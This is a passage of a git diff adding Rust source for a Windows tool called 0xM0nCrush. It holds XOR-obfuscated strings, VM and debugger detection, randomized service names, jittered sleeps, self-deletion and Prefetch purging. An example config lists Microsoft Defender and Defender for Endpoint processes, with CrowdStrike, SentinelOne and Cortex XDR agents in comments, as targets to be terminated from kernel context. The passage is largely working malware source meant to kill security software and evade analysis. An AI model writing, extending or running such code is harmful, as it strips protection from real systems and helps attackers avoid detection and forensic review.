0x09, 0x2e, 0xce, 0x50, 0x3c, 0x3a, 0x6e, 0xf2, 0x56, 0x32, 0x51, 0xef, 0x64, 0xfa], + &[0xcc, 0x4b, 0x72, 0x09, 0x2e, 0xde, 0x5f, 0x32, 0x1a, 0x70, 0xf8, 0x7b, 0x3b, 0x13, 0xe5, 0x7d, 0xfb, 0x4b, 0x6e, 0x54, 0x2e, 0xf5, 0x5b], +]; + +fn dec(data: &[u8]) -> String { + data.iter().enumerate().map(|(i, &b)| (b ^ KEY[i % KEY.len()]) as char).collect() +} + +pub fn driver_filename() -> String { dec(S_FILE) } +pub fn mutex_name() -> String { dec(S_MUTEX) } +pub fn svc_prefix() -> String { dec(S_SVC) } +pub fn default_targets() -> Vec { + S_TARGETS.iter().map(|b| dec(b).to_lowercase()).collect() +} \ No newline at end of file diff --git a/src/ops.rs b/src/ops.rs new file mode 100644 index 0000000..56ae150 --- /dev/null +++ b/src/ops.rs @@ -0,0 +1,189 @@ + + +use std::mem; + +use windows::core::PCWSTR; +use windows::Win32::Foundation::{CloseHandle, GENERIC_WRITE, GetLastError, HANDLE, WIN32_ERROR}; +use windows::Win32::System::Diagnostics::Debug::IsDebuggerPresent; +use windows::Win32::System::LibraryLoader::GetModuleFileNameW; +use windows::Win32::System::Registry::{ + RegCloseKey, RegOpenKeyExW, RegQueryValueExW, HKEY, HKEY_LOCAL_MACHINE, KEY_READ, +}; +use windows::Win32::System::Threading::{CreateMutexW, GetCurrentProcessId}; +use windows::Win32::Storage::FileSystem::{ + CreateFileW, DeleteFileW, FILE_SHARE_DELETE, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING, +}; +use windows::Win32::System::SystemInformation::GetTickCount64; + +use crate::obf; + +const VM_PROCESSES: &[&str] = &[ + "vmtoolsd.exe", "vboxservice.exe", "vboxtray.exe", "xenservice.exe", + "vmsrvc.exe", "vmwaretray.exe", "vmwareuser.exe", "vmusrvc.exe", + "prl_tools.exe", "prl_cc.exe", +]; + +const VM_REG_KEYS: &[(&str, &str)] = &[ + (r"SOFTWARE\VMware, Inc.\VMware Tools", "InstallPath"), +]; + +fn is_vm_process() -> bool { + use windows::Win32::System::Diagnostics::ToolHelp::{ + CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, PROCESSENTRY32W, TH32CS_SNAPPROCESS, + }; + let snap = match unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) } { + Ok(h) => h, + Err(_) => return false, + }; + let mut e = PROCESSENTRY32W { dwSize: mem::size_of::() as u32, ..Default::default() }; + if unsafe { Process32FirstW(snap, &mut e) }.is_err() { + unsafe { let _ = CloseHandle(snap); } + return false; + } + let mut found = false; + loop { + let name = String::from_utf16_lossy( + &e.szExeFile[..e.szExeFile.iter().position(|&c| c == 0).unwrap_or(e.szExeFile.len())] + ).to_lowercase(); + if VM_PROCESSES.iter().any(|&p| name == p) { + found = true; + break; + } + if unsafe { Process32NextW(snap, &mut e) }.is_err() { break; } + } + unsafe { let _ = CloseHandle(snap); } + found +} + +fn is_vm_registry() -> bool { + let mut key: HKEY = HKEY::default(); + for (subkey, value) in VM_REG_KEYS { + let wstr: Vec = subkey.encode_utf16().chain(Some(0)).collect(); + let err = unsafe { + RegOpenKeyExW( + HKEY_LOCAL_MACHINE, + PCWSTR(wstr.as_ptr()), + None, + KEY_READ, + &mut key, + ) + }; + if err != WIN32_ERROR(0) { continue; } + let vwstr: Vec = value.encode_utf16().chain(Some(0)).collect(); + let mut buf = [0u8; 256]; + let mut size = buf.len() as u32; + let err = unsafe { + RegQueryValueExW( + key, + PCWSTR(vwstr.as_ptr()), + None, + None, + Some(buf.as_mut_ptr()), + Some(&mut size), + ) + }; + let _ = unsafe { RegCloseKey(key) }; + if err == WIN32_ERROR(0) { return true; } + } + false +} + +pub fn detect_vm() -> bool { + is_vm_process() || is_vm_registry() +} + +pub fn detect_debugger() -> bool { + unsafe { IsDebuggerPresent().as_bool() } +} + +pub fn create_mutex(name: &str) -> Option { + let wstr: Vec = name.encode_utf16().chain(Some(0)).collect(); + match unsafe { CreateMutexW(None, false, PCWSTR(wstr.as_ptr())) } { + Ok(h) => { + if unsafe { GetLastError() }.0 == 183 { + // ERROR_ALREADY_EXISTS + let _ = unsafe { CloseHandle(h) }; + None + } else { + Some(h) + } + } + Err(_) => None, + } +} + +pub fn random_service_name() -> String { + let tick = unsafe { GetTickCount64() }; + let pid = unsafe { GetCurrentProcessId() }; + let r = (tick ^ pid as u64) & 0xFFFFFF; + format!("{}{:06X}", obf::svc_prefix(), r) +} + +pub fn resolve_driver_path(fname: &str) -> String { + if std::path::Path::new(fname).is_absolute() { + return fname.to_string(); + } + if let Ok(exe) = std::env::current_exe() { + if let Some(dir) = exe.parent() { + let cand = dir.join(fname); + if cand.exists() { + return cand.to_string_lossy().to_string(); + } + } + } + if let Ok(cwd) = std::env::current_dir() { + let cand = cwd.join(fname); + if cand.exists() { + return cand.to_string_lossy().to_string(); + } + } + fname.to_string() +} + +pub fn jitter_sleep(base_ms: u64, jitter_ms: u64) { + let j = if jitter_ms > 0 { + let tick = unsafe { GetTickCount64() }; + (tick % jitter_ms as u64) as u64 + } else { + 0 + }; + std::thread::sleep(std::time::Duration::from_millis(base_ms + j)); +} + +pub fn self_destruct(path: &str) { + let wstr: Vec = path.encode_utf16().chain(Some(0)).collect(); + let h = unsafe { + CreateFileW( + PCWSTR(wstr.as_ptr()), + GENERIC_WRITE.0, + FILE_SHARE_DELETE, + None, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + None, + ) + }; + if h.is_ok() { + let _ = unsafe { DeleteFileW(PCWSTR(wstr.as_ptr())) }; + } +} + +pub fn purge_prefetch() { + let exe = own_exe_name(); + if let Ok(entries) = std::fs::read_dir(r"C:\Windows\Prefetch") { + for entry in entries.flatten() { + let name = entry.file_name().to_string_lossy().to_lowercase(); + if name.starts_with(&exe.trim_end_matches(".exe").to_lowercase()) && name.ends_with(".pf") { + let _ = std::fs::remove_file(entry.path()); + } + } + } +} + +fn own_exe_name() -> String { + let mut buf = [0u16; 260]; + let len = unsafe { GetModuleFileNameW(None, &mut buf) } as usize; + let wide = &buf[..len]; + let path = String::from_utf16_lossy(wide); + std::path::Path::new(&path).file_name().unwrap_or_default().to_string_lossy().to_string() +} \ No newline at end of file diff --git a/src/targets.rs b/src/targets.rs new file mode 100644 index 0000000..b1372b5 --- /dev/null +++ b/src/targets.rs @@ -0,0 +1,41 @@ +use std::mem; + +use windows::Win32::Foundation::CloseHandle; +use windows::Win32::System::Diagnostics::ToolHelp::{ + CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, PROCESSENTRY32W, TH32CS_SNAPPROCESS, +}; + +use crate::obf; + +pub fn defaults() -> Vec { + obf::default_targets() +} + +pub fn find_running(targets: &[&str]) -> Vec<(String, u32)> { + let mut r = Vec::new(); + let snap = match unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) } { + Ok(h) => h, + Err(_) => return r, + }; + let mut e = PROCESSENTRY32W { + dwSize: mem::size_of::() as u32, + ..Default::default() + }; + if unsafe { Process32FirstW(snap, &mut e) }.is_err() { + unsafe { let _ = CloseHandle(snap); } + return r; + } + loop { + let name = String::from_utf16_lossy( + &e.szExeFile[..e.szExeFile.iter().position(|&c| c == 0).unwrap_or(e.szExeFile.len())], + ); + for &t in targets { + if name.eq_ignore_ascii_case(t) { + r.push((name.clone(), e.th32ProcessID)); + } + } + if unsafe { Process32NextW(snap, &mut e) }.is_err() { break; } + } + unsafe { let _ = CloseHandle(snap); } + r +} diff --git a/targets.example.conf b/targets.example.conf new file mode 100644 index 0000000..14f9e3f --- /dev/null +++ b/targets.example.conf @@ -0,0 +1,28 @@ +# 0xM0nCrush target configuration +# +# One executable name per line. Lines starting with # are ignored. +# Drop this file next to moncrush.exe as targets.conf to override the +# built-in defaults without rebuilding. +# +# The resolver order is: +# --names > --config > targets.conf (disk) > built-in defaults +# +# Add any process you want terminated from kernel context: + +calc.exe +notepad.exe +MsMpEng.exe +MpDefenderCoreService.exe +SecurityHealthService.exe +MsSense.exe +SenseIR.exe +SenseCncProxy.exe +SenseSampleUploader.exe + +# Examples: +# CrowdStrike +# csfalconservice.exe +# SentinelOne +# SentinelAgent.exe +# Cortex XDR +# cortex_agent.exe \ No newline at end of file